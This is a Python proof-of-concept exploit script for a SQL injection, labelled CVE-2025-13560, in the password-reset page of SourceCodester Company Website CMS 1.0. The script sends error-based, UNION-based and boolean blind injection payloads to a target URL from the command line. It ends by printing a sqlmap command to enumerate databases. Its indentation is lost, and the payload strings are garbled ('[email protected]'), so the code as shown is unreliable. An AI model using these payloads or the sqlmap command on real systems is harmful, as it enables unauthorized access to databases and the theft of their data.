#!/usr/bin/env python3
# CVE-2025-13560 SQL Injection PoC
# Target: SourceCodester Company Website CMS 1.0
# Vulnerability: SQL Injection in /admin/reset-password.php email parameter
import requests
import sys
def exploit_sqli(target_url, payload):
"""Send SQL injection payload to reset-password.php"""
target = target_url.rstrip('/') + '/admin/reset-password.php'
data = {
'email': payload,
'submit': 'Submit'
}
try:
response = requests.post(target, data=data, timeout=10)
return response
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return None
def test_basic_sqli(target_url):
"""Test basic SQL injection"""
print(f"[*] Testing basic SQL injection on {target_url}")
# Basic error-based injection
payload = "
[email protected]' OR 1=1-- -"
resp = exploit_sqli(target_url, payload)
if resp:
print(f"[*] Response status: {resp.status_code}")
print(f"[*] Response length: {len(resp.text)}")
def extract_db_info(target_url):
"""Extract database information using UNION-based injection"""
print(f"[*] Extracting database information...")
# Extract current database name
payload = "
[email protected]' UNION SELECT NULL,NULL,database(),NULL,NULL-- -"
# Adjust based on actual application response
resp = exploit_sqli(target_url, payload)
if resp:
print(f"[*] Database info extraction attempted")
def blind_sqli(target_url):
"""Boolean-based blind SQL injection"""
print(f"[*] Testing blind SQL injection...")
# Test if injection works
true_payload = "
[email protected]' AND 1=1-- -"
false_payload = "
[email protected]' AND 1=2-- -"
resp_true = exploit_sqli(target_url, true_payload)
resp_false = exploit_sqli(target_url, false_payload)
if resp_true and resp_false:
if len(resp_true.text) != len(resp_false.text):
print("[+] Blind SQL injection confirmed!")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: python3 {sys.argv[0]} <target_url>")
print(f"Example: python3 {sys.argv[0]} http://target.com")
sys.exit(1)
target = sys.argv[1]
print(f"[*] CVE-2025-13560 SQL Injection PoC")
print(f"[*] Target: {target}")
test_basic_sqli(target)
extract_db_info(target)
blind_sqli(target)
print("[*] For full exploitation, use sqlmap:")
print(f"sqlmap -u '{target}/admin/reset-password.php' --data='email=*&submit=Submit' --dbs")